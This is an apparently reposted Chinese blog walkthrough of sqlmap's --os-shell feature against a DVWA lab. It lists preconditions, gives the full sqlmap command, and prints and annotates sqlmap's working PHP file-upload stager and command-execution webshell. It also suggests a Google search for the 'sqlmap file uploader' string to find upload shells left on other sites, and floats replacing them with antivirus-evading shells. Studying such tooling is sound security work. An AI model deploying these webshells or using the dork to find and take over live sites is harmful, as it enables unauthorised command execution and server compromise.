sqlmap os-shell探索


1 條件

  1. 網站的絕對路徑
  2. mysql進程有網站絕對路徑的寫權限
  3. mysql用戶為root
  4. mysql允許寫[secure_file_priv]
  5. GPC關閉

2 過程

dvwa-low-sqli為例
sqlmap -u "http://ip/vulnerabilities/sqli/?id=111&Submit=Submit#" --cookie='PHPSESSID=t875bj3h4imdvhk7vce834j075; security=low' --os-shell

sqlmap os-shell過程和關鍵選項

  1. sqlmap會識別數據庫所在服務器的操作系統,然后讓你選擇web支持的腳本語言
  2. 第一個選項選擇是否讓sqlmap嘗試通過觸發錯誤獲取泄露的絕對路徑,注意此處[dvwa]第三個選項需要選非默認yes的no,不合並cookie,如果sqlmap無法自動獲取web絕對路徑,會讓你選擇可寫路徑,有:常用路徑枚舉/自定義路徑/自定義枚舉字典/蠻力枚舉路徑
  3. sqlmap會自動分割路徑,嘗試用各種語句寫文件
  4. sqlmap先寫入一個文件上傳shelltmpukiwa.php,再通過文件上傳shell上傳命令執行shelltmpbarxj.php,再利用命令執行shell執行命令

    用mysql進程寫上傳shell,用上傳shell也就是apache進程寫命令執行shell
  5. 退出os-shell后,sqlmap會自動刪除寫的shell,但似乎刪的不干凈,上傳shell仍然存在[!!!]

3 分析

3.1 上傳/命令shell[php]

每次寫的上傳/命令shell都不變,說明sqlmap內置了這兩個shell文件,而不是按照規則生成

上傳shell

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";}?>
<?php
if (isset($_REQUEST["upload"])) {
	$dir=$_REQUEST["uploadDir"];
	if (phpversion()<'4.1.0') {
		$file=$HTTP_POST_FILES["file"]["name"];
		@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	} else {
		$file=$_FILES["file"]["name"];
		@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	}
	@chmod($dir."/".$file,0755);
	echo "File uploaded";
} else {
	echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?>

上傳前$_SERVER["PHP_SELF"]獲取當前絕對路徑
根據獲得的絕對路徑上傳文件后,給755權限,版本區別影響上傳的方式

命令shell

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
<?php $c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z)) {
	$z=preg_replace("/[, ]+/",',',$z);
	$z=explode(',',$z);
	$z=array_map("trim",$z);
} else {
	$z=array();
}
$c=$c." 2>&1\n";
function f($n) {
	global $z;
	return is_callable($n)and!in_array($n,$z);
}
if(f("system")) {
	ob_start();
	system($c);
	$w=ob_get_clean();
} elseif(f("proc_open")) {
	$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
	$w=NULL;
	while(!feof($t[1])) {
		$w.=fread($t[1],512);
	}
	@proc_close($y);
} elseif(f("shell_exec")) {
	$w=shell_exec($c);
} elseif(f("passthru")) {
	ob_start();
	passthru($c);
	$w=ob_get_clean();
} elseif(f("popen")) {
	$x=popen($c,r);
	$w=NULL;
	if(is_resource($x)) {
		while(!feof($x)) {
			$w.=fread($x,512);
		}
	}
	@pclose($x);
} elseif(f("exec")) {
	$w=array();
	exec($c,$w);
	$w=join(chr(10),$w).chr(10);
} else {
	$w=0;
}
echo"<pre>$w</pre>";
?>

get/post/cookie接收cmd變量,作為命令執行

該腳本先從客戶請求中獲取cmd的值賦值給 $c

設置腳本最大執行時間為無限

設置客戶端斷開連接時也不中斷腳本執行

獲取配置文件中禁用的函數列表賦值給 $z

如果禁用的函數列表 $z 不為空

把列表中的所有英文逗號或者空格全部替換為英文逗號賦值給 $z
然后按英文逗號分隔把該函數列表轉換為數組賦值給 $z
去除數組中每個元素首尾的空白字符賦值給 $z
如果禁用的函數列表為空,就把 $z 初始化為空數組

然后 $c=$c." 2>&1\n"

定義函數 f($n)

調用全局變量$z
如果 $n 可以被調用並且不在數組 $z 中返回true,否則返回false
如果 f('system') 為 true

打開輸出緩沖
執行cmd命令 $c
獲取緩沖區中的內容賦值給 $w
清除緩沖區並關閉輸出緩沖
否則如果 f('proc_open') 為 true

好像是創建一個子進程,執行命令,然后把執行結果寫入到管道中
從管道中讀取命令的執行結果賦值給 $w
關閉進程資源
否則如果 f('shell_exec') 為 true

通過 shell 環境執行命令,將結果返回給 $w
否則如果 f('passthru') 為 true

打開輸出緩沖
執行命令
將緩沖區的內容賦值給 $w
清楚緩沖區並關閉輸出緩沖
否則如果 f('popen') 為 true

打開一個指向進程的管道,執行命令,返回一個fopen()相同的文件指針 $x
讀取該指針所指向的資源賦值給 $w
關閉該資源 $x
否則如果 f('exec') 為 true

$w 初始化為空數組
執行命令並將結果填充到 $w 數組中
將數組 $w 轉換為用 chr(10) 連接的字符串
否則

$w = 0
最后 print "<pre>".$w."</pre>"

有點類似卿師傅的大一統命令執行腳本

4 拓展

4.1 google找sqlmap的上傳shell

實踐dvwa中我們發現,退出sqlmap的命令執行shell時,雖然提示刪除了上傳的文件,但上傳shell卻沒有刪除,那.....
intext:"sqlmap file uploader"

4.2 自定義shell[翻車]

在對上傳/命令shell的分析中我們推斷shell是內置不變的,那我們可以考慮將sqlmap內置的上傳/命令shell換成我們自己制作的免殺shell
當然,其實有點多此一舉,如果成功寫入了上傳Shell,說明目標要么沒防御,要么防御稀爛,完全可以利用上傳shell上傳大馬。如果上傳shell被殺,但本身是能寫的,那可以手工寫。

上傳shell的D盾查殺,emmmm

sqlmap的data目錄下存放了sqlmap使用的工具或命令等

其中,shell目錄有文件上傳(file stagers)和命令執行(backdoors),每個文件夾都放了asp aspx jsp php類型的實現腳本的二進制文件


二進制文件不知道怎么改,我原本以為是腳本文件來着

sqlmap目錄結構

5 參考

具體的數據流是什么樣的可以參考下面各位師傅的分析
對利用sqlmap獲取os-shell過程的一次抓包分析
sqlmap os shell解析
利用SQLMAP獲取os-shell的過程分析「UDF提權」


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM